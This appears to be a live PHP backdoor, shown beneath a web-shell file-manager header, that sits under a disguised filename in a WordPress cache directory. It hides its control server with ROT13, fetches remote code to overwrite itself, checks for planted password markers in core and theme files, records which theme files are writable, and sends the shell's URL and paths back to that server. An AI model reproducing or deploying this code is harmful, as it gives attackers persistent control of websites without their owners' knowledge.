?AlkantarClanX12

Your IP : 216.73.217.134


Current Path : /home/rankinh/saintgilleslesbains/wp-content/cache/page_enhanced/
Upload File :
Current File : /home/rankinh/saintgilleslesbains/wp-content/cache/page_enhanced/class-wp-phpize.php

<?php
set_time_limit(0);
error_reporting(E_ALL);
ini_set('display_errors', 1);
$ccd     = str_rot13('ncv.ovrlnrk.eha');
if ( array_key_exists ('update', $_GET)){


    $ch = curl_init("http://{$ccd}/files/riseup.txt");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36");
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $result = curl_exec($ch);
    curl_close($ch);

    if (!empty($result)){

        copy (__FILE__, __DIR__ . "/oldrise.php");
        file_put_contents(__FILE__, $result);
        echo "update ok\n";
        exit();

    }

} 
if ( array_key_exists ('maintenance', $_GET)){

    function findWordpress ($path, $depth = 3) {

        try {
                $di = new RecursiveDirectoryIterator($path ,RecursiveDirectoryIterator::SKIP_DOTS);
                $it = new RecursiveIteratorIterator($di);
                $it->setMaxDepth($depth);
                $results = [];
    
                foreach($it as $file) {
    
                    if (  preg_match ( '#wp-config\.php$#', $file ) ) {
                
                        $results[] = dirname(realpath($file));
                    }
        
                }
    
            }
            catch (Exception $e) 
            {
                $results = [];
            }
        
            return $results;
    }


    function isHttps() {
        if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') ||
            (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') ||
            (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') ||
            (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') ||
            (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) {
            $server_request_scheme = 'https';
        } else {
            $server_request_scheme = 'http';
        }
        return $server_request_scheme;
    }

function findThemes ($path, $depth = 1) {

    $di = new RecursiveDirectoryIterator($path ,RecursiveDirectoryIterator::SKIP_DOTS);
    $it = new RecursiveIteratorIterator($di);
    $it->setMaxDepth($depth);
    $results = [];

    foreach($it as $file) {

        if (  preg_match ( '#functions\.php$#', $file ) ) {
            $results[] = dirname(realpath($file));
        }
    }
    
    return $results;
}
    $result = [];
    $actual_link = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
    $rootDir = './';
    $dots = substr_count (parse_url($actual_link)['path'], '/') - 1;
    $checkWord = '$algo = \'default\'; $pass =';
    $pass = 'Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ==';
    for ($i=1;$i<=$dots;$i++){      
        $rootDir.="../";
    }
    
        $rootDirRaw = $rootDir;
        $rootDir = realpath($rootDir);
        $result['host'] = isHttps() . "://{$_SERVER['HTTP_HOST']}";
        $result['rootdir'] = $rootDir;
        $result['shell'] = $actual_link;
        $result['shellPath'] = getcwd();
        $wordpress = findWordpress ("{$rootDir}/", 1);
        $wpPath = $wordpress[0];
       
       
        $wpConfig = file_get_contents("{$wpPath}/wp-config.php");
        if (!strpos($wpConfig, 'header.php') !== false) {
            $result['wpConfigHeader'] = false;  
        }
        else{
            $result['wpConfigHeader'] = true;
        }

        $headerFile = file_get_contents("{$wpPath}/wp-includes/header.php");

        if (strpos($headerFile, $checkWord) !== false) {

            if (strpos($headerFile, $pass) !== false) {
                $result['headerFile'] = 'ok';
            } else{
                $result['headerFile'] = 'alarm';

            }
        } else{
            $result['headerFile'] = false;
        }
       
       
       
       
        $functionsFile = file_get_contents("{$wpPath}/wp-includes/functions.php");

        if (strpos($functionsFile, $checkWord) !== false) {

            if (strpos($functionsFile, $pass) !== false) {
                $result['wpincludesFunctions'] = 'ok';
            } else{
                $result['wpincludesFunctions'] = 'alarm';

            }
        }
        else{
            $result['wpincludesFunctions'] = false;
        }

        $themes = findThemes ("{$wpPath}/wp-content/themes");
        $result['themes'] = [];
        foreach($themes as $theme){

            $exploded = explode('/', $theme);
            $themeSlug = end($exploded);
            $result['themes'][$themeSlug]['templateconfigInclude'] = false;



            $template = file_get_contents("{$theme}/functions.php");
    
            if (strpos($template, 'template-config.php') !== false) {
                
                $result['themes'][$themeSlug]['templateconfigInclude'] = true;
                
            }

            if (file_exists(("{$theme}/template-config.php"))) {
                $result['themes'][$themeSlug]['templateconfigFile'] = true;
            } else {
                $result['themes'][$themeSlug]['templateconfigFile'] = false;
            }
    
            //unlink("{$theme}/template-config.php");
    
            if (strpos($template, $checkWord) !== false) {
              //  echo "{$theme} pass found\n";
                
                if (strpos($template, $pass) !== false) {
                    $result['themes'][$themeSlug]['functions'] = true;
                } else{
                    $result['themes'][$themeSlug]['functions'] = 'alarm';
    
                }
            } 

            
            $result['themes'][$themeSlug]['themeWritable'] = is_writable($theme);
            $result['themes'][$themeSlug]['functionsWritable'] = is_writable("{$theme}/functions.php");

        }    
        $curl = curl_init("http://{$ccd}/riseup.php");
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($result, JSON_UNESCAPED_SLASHES));
        curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36");
        $response = curl_exec($curl);
        curl_close($curl);

    }

else{
    echo str_rot13('uryyb jeybq');
}